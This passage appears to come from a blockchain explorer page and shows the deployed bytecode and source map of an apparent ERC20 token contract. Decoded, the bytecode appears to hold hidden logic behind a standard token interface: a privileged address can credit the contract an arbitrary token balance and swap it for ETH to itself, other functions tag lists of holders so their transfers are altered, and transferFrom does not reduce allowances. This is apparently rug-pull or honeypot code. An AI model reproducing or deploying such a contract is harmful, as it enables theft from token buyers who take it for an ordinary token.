2061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b61157281611412565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f602082840312156115a6576115a56113eb565b5b5f6115b384828501611439565b91505092915050565b5f80604083850312156115d2576115d16113eb565b5b5f6115df8582860161146c565b92505060206115f085828601611439565b9150509250929050565b5f80604083850312156116105761160f6113eb565b5b5f61161d85828601611439565b925050602061162e85828601611439565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261165957611658611638565b5b8235905067ffffffffffffffff8111156116765761167561163c565b5b60208301915083602082028301111561169257611691611640565b5b9250929050565b5f80602083850312156116af576116ae6113eb565b5b5f83013567ffffffffffffffff8111156116cc576116cb6113ef565b5b6116d885828601611644565b92509250509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117d560208361134b565b91506117e0826117a1565b602082019050919050565b5f6020820190508181035f830152611802816117c9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061187181611423565b92915050565b5f6020828403121561188c5761188b6113eb565b5b5f61189984828501611863565b91505092915050565b5f819050919050565b5f819050919050565b5f6118ce6118c96118c4846118a2565b6118ab565b61144d565b9050919050565b6118de816118b4565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61191681611412565b82525050565b5f611927838361190d565b60208301905092915050565b5f602082019050919050565b5f611949826118e4565b61195381856118ee565b935061195e836118fe565b805f5b8381101561198e578151611975888261191c565b975061198083611933565b925050600181019050611961565b5085935050505092915050565b5f60a0820190506119ae5f8301886114f1565b6119bb60208301876118d5565b81810360408301526119cd818661193f565b90506119dc6060830185611569565b6119e960808301846114f1565b9695505050505050565b5f6119fd8261144d565b9150611a088361144d565b9250828203905081811115611a2057611a1f611741565b5b92915050565b5f611a308261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6257611a61611741565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea2646970667358221220ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a64736f6c63430008150033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c8063715018a6116100b657806395d89b411161007a57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063c14f3f3514610398578063dd62ed3e146103a2578063df0748d4146103d257610140565b8063715018a6146102c25780637394507e146102cc578063751039fc146102e85780638a8c523c146102f25780638da5cb5b146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806337e376fb1461021c57806339509351146102265780633eaaf86b146102565780636f268a991461027457806370a082311461029257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b61022461054e565b005b610240600480360381019061023b9190611480565b610550565b60405161024d91906114d8565b60405180910390f35b61025e6105f0565b60405161026b9190611500565b60405180910390f35b61027c6105f6565b6040516102899190611578565b60405180910390f35b6102ac60048036038101906102a79190611591565b61061b565b6040516102b99190611500565b60405180910390f35b6102ca610661565b005b6102e660048036038101906102e191906115bc565b610790565b005b6102f0610a2d565b005b6102fa610a2f565b005b610304610a31565b6040516103119190611578565b60405180910390f35b610322610a58565b60405161032f91906113cb565b60405180910390f35b610352600480360381019061034d9190611480565b610ae8565b60405161035f91906114d8565b60405180910390f35b610382600480360381019061037d9190611480565b610c0c565b60405161038f91906114d8565b60405180910390f35b6103a0610c29565b005b6103bc60048036038101906103b791906115fa565b610c2b565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e79190611699565b610cad565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b565b5f6105e661055c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e1919061176e565b610d61565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610680610a31565b73ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906117eb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61079861120a565b15610a23576107c93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff81111561082757610826611809565b5b6040519080825280602002602001820160405280156108555781602001602082028036833780820191505090505b50905030815f8151811061086c5761086b611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611877565b8160018151811061094857610947611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426109d0919061176e565b6040518663ffffffff1660e01b81526004016109f095949392919061199b565b5f604051808303815f87803b158015610a07575f80fd5b505af1158015610a19573d5f803e3d5ffd5b5050505050610a28565b610a29565b5b5050565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6790611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9390611711565b8015610ade5780601f10610ab557610100808354040283529160200191610ade565b820191905f5260205f20905b815481529060010190602001808311610ac157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b6d575f80fd5b610c02610b78611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bfd91906119f3565b610d61565b6001905092915050565b5f610c1f610c18611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610cb6611267565b90505f5b83839050811015610d5b57610ccd61120a565b15610d4857600182610cdf919061176e565b60085f868685818110610cf557610cf4611836565b5b9050602002016020810190610d0a9190611591565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610d5390611a26565b915050610cba565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461105391906119f3565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d611267565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab91906119f3565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f611213611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b61157281611412565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f602082840312156115a6576115a56113eb565b5b5f6115b384828501611439565b91505092915050565b5f80604083850312156115d2576115d16113eb565b5b5f6115df8582860161146c565b92505060206115f085828601611439565b9150509250929050565b5f80604083850312156116105761160f6113eb565b5b5f61161d85828601611439565b925050602061162e85828601611439565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261165957611658611638565b5b8235905067ffffffffffffffff8111156116765761167561163c565b5b60208301915083602082028301111561169257611691611640565b5b9250929050565b5f80602083850312156116af576116ae6113eb565b5b5f83013567ffffffffffffffff8111156116cc576116cb6113ef565b5b6116d885828601611644565b92509250509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117d560208361134b565b91506117e0826117a1565b602082019050919050565b5f6020820190508181035f830152611802816117c9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061187181611423565b92915050565b5f6020828403121561188c5761188b6113eb565b5b5f61189984828501611863565b91505092915050565b5f819050919050565b5f819050919050565b5f6118ce6118c96118c4846118a2565b6118ab565b61144d565b9050919050565b6118de816118b4565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61191681611412565b82525050565b5f611927838361190d565b60208301905092915050565b5f602082019050919050565b5f611949826118e4565b61195381856118ee565b935061195e836118fe565b805f5b8381101561198e578151611975888261191c565b975061198083611933565b925050600181019050611961565b5085935050505092915050565b5f60a0820190506119ae5f8301886114f1565b6119bb60208301876118d5565b81810360408301526119cd818661193f565b90506119dc6060830185611569565b6119e960808301846114f1565b9695505050505050565b5f6119fd8261144d565b9150611a088361144d565b9250828203905081811115611a2057611a1f611741565b5b92915050565b5f611a308261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6257611a61611741565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea2646970667358221220ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a64736f6c63430008150033
Deployed Bytecode Sourcemap
12975:4982:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13898:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17796:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15970:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14654:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15672:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13041:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14150:42;;;:::i;:::-;;17377:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13078:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13510:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13989:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12076:148;;;:::i;:::-;;16069:571;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14244:39;;;:::i;:::-;;14198:40;;;:::i;:::-;;12230:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14888:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15297:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17584:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14105:39;;;:::i;:::-;;15157:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14289:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13898:85;13937:13;13970:5;13963:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13898:85;:::o;17796:158::-;17870:4;17887:37;17896:10;17908:7;17917:6;17887:8;:37::i;:::-;17942:4;17935:11;;17796:158;;;;:::o;15970:93::-;16016:7;16043:12;;16036:19;;15970:93;:::o;14654:228::-;14742:4;14759:35;14769:4;14775:9;14786:7;14759:9;:35::i;:::-;14844:7;14813:11;:17;14825:4;14813:17;;;;;;;;;;;;;;;:27;14831:8;:6;:8::i;:::-;14813:27;;;;;;;;;;;;;;;;:38;;14805:47;;;;;;14870:4;14863:11;;14654:228;;;;;:::o;15672:87::-;15715:7;15742:9;;15735:16;;15672:87;:::o;13041:28::-;;;;:::o;14150:42::-;:::o;17377:201::-;17457:4;17474:74;17483:8;:6;:8::i;:::-;17493:7;17537:10;17502:11;:23;17514:10;17502:23;;;;;;;;;;;;;;;:32;17526:7;17502:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;17474:8;:74::i;:::-;17566:4;17559:11;;17377:201;;;;:::o;13078:58::-;;;;:::o;13510:25::-;;;;;;;;;;;;;:::o;13989:110::-;14046:7;14073:9;:18;14083:7;14073:18;;;;;;;;;;;;;;;;14066:25;;13989:110;;;:::o;12076:148::-;12472:10;12461:21;;:7;:5;:7::i;:::-;:21;;;12453:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;12183:1:::1;12146:40;;12167:6;::::0;::::1;;;;;;;;12146:40;;;;;;;;;;;;12214:1;12197:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;12076:148::o:0;16069:571::-;16152:17;:15;:17::i;:::-;16148:485;;;16186:53;16203:4;16218:11;;;;;;;;;;;16232:6;16186:8;:53::i;:::-;16282:6;16255:9;:24;16273:4;16255:24;;;;;;;;;;;;;;;:33;;;;16303:28;16348:1;16334:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16303:47;;16390:4;16365:11;16377:1;16365:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;16428:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16411:11;16423:1;16411:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;16462:11;;;;;;;;;;;:62;;;16525:6;16533:1;16536:11;16549:10;16579:2;16561:15;:20;;;;:::i;:::-;16462:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16171:423;16148:485;;;16615:7;;16148:485;16069:571;;;:::o;14244:39::-;:::o;14198:40::-;:::o;12230:71::-;12276:7;12293:6;;;;;;;;;;;12286:13;;12230:71;:::o;14888:87::-;14927:13;14960:7;14953:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14888:87;:::o;15297:243::-;15370:4;15428:6;15395:11;:23;15407:10;15395:23;;;;;;;;;;;;;;;:29;15419:4;15395:29;;;;;;;;;;;;;;;;:39;;15387:48;;;;;;15446:64;15455:8;:6;:8::i;:::-;15465:4;15503:6;15471:11;:23;15483:10;15471:23;;;;;;;;;;;;;;;:29;15495:4;15471:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;15446:8;:64::i;:::-;15528:4;15521:11;;15297:243;;;;:::o;17584:154::-;17653:4;17670:38;17680:8;:6;:8::i;:::-;17690:9;17701:6;17670:9;:38::i;:::-;17726:4;17719:11;;17584:154;;;;:::o;14105:39::-;:::o;15157:134::-;15229:7;15256:11;:18;15268:5;15256:18;;;;;;;;;;;;;;;:27;15275:7;15256:27;;;;;;;;;;;;;;;;15249:34;;15157:134;;;;:::o;14289:359::-;14367:19;14389:16;:14;:16::i;:::-;14367:38;;14421:15;14416:225;14456:13;;:20;;14443:10;:33;14416:225;;;14514:17;:15;:17::i;:::-;14509:121;;;14613:1;14599:11;:15;;;;:::i;:::-;14560:9;:36;14570:13;;14584:10;14570:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14560:36;;;;;;;;;;;;;;;:54;;;;14509:121;14479:12;;;;;:::i;:::-;;;;14416:225;;;;14356:292;14289:359;;:::o;13544:346::-;13663:1;13646:19;;:5;:19;;;13638:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;13745:1;13726:21;;:7;:21;;;13718:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;13828:6;13798:11;:18;13810:5;13798:18;;;;;;;;;;;;;;;:27;13817:7;13798:27;;;;;;;;;;;;;;;:36;;;;13866:7;13850:32;;13859:5;13850:32;;;13875:6;13850:32;;;;;;:::i;:::-;;;;;;;;13544:346;;;:::o;16646:655::-;16726:17;16782:1;16766:18;;:4;:18;;;16758:27;;;;;;16813:9;:15;16823:4;16813:15;;;;;;;;;;;;;;;;16804:5;:24;;16796:33;;;;;;16860:2;16845:25;;16854:4;16845:25;;;16864:5;16845:25;;;;;;:::i;:::-;;;;;;;;16918:5;16899:9;:15;16909:4;16899:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;16881:9;:15;16891:4;16881:15;;;;;;;;;;;;;;;:43;;;;16935:15;16974:16;:14;:16::i;:::-;16954:9;:15;16964:4;16954:15;;;;;;;;;;;;;;;;:37;;16935:57;;17003:25;17031:24;17050:4;17031:14;17041:3;17031:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;17003:52;;17090:1;17071:9;:15;17081:4;17071:15;;;;;;;;;;;;;;;;:20;;17070:36;;;;;17096:10;17070:36;17066:103;;;17138:17;17125:31;;17066:103;17179:17;17199:9;:13;17209:2;17199:13;;;;;;;;;;;;;;;;17179:33;;17247:9;17237:5;17236:21;;;;:::i;:::-;17223:34;;;;;:::i;:::-;;;17284:9;17268;:13;17278:2;17268:13;;;;;;;;;;;;;;;:25;;;;16715:586;;;;16646:655;;;:::o;15878:86::-;15919:7;15946:10;15939:17;;15878:86;:::o;15765:107::-;15814:4;15854:8;:6;:8::i;:::-;15839:24;;:10;;;;;;;;;;;:24;;;15831:33;;15765:107;:::o;14981:96::-;15030:7;15057:12;15050:19;;14981:96;:::o;11694:223::-;11752:7;11781:1;11776;:6;11772:23;;11792:1;11785:8;;;;11772:23;11805:9;11821:1;11817;:5;;;;:::i;:::-;11805:17;;11850:1;11845;11841;:5;;;;:::i;:::-;:10;11833:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;11908:1;11901:8;;;11694:223;;;;;:::o;11508:178::-;11566:7;11598:1;11594;:5;11586:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;11642:9;11658:1;11654;:5;;;;:::i;:::-;11642:17;;11677:1;11670:8;;;11508:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;